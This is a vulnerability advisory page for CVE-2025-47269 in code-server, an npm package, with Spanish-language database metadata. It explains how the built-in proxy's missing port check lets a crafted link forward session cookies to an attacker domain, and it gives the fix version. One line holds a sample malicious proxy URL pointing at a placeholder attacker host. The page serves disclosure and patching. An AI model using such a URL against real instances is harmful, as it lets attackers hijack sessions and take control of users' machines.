code-server's session cookie can be extracted by having user visit specially crafted proxy URL
Summary
A maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token.
Details
Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token.
Impact
Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy.
Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.
With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.
Patches
Patched versions are from v4.99.4 onward.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | code-server | < 4.99.4 | 4.99.4 |
Referencias
- https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj
- https://nvd.nist.gov/vuln/detail/CVE-2025-47269
- https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e
- https://github.com/coder/code-server
- https://github.com/coder/code-server/releases/tag/v4.99.4
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L- Debilidad (CWE)
CWE-441- Plataforma
- npm
- Paquete
code-server- Publicada
- 09.05.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-p483-wpfp-42cj - CC BY 4.0
Historial de vulnerabilidades: code-server
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 09.2021 05.2025
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 2
- Media 1
Divulgaciones por año
- 2021: 1
- 2022: 1
- 2023: 1
- 2024: 0
- 2025: 1
- 2026: 0
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code-server's session cookie can be extracted by having user visit specially crafted proxy URL esta entrada
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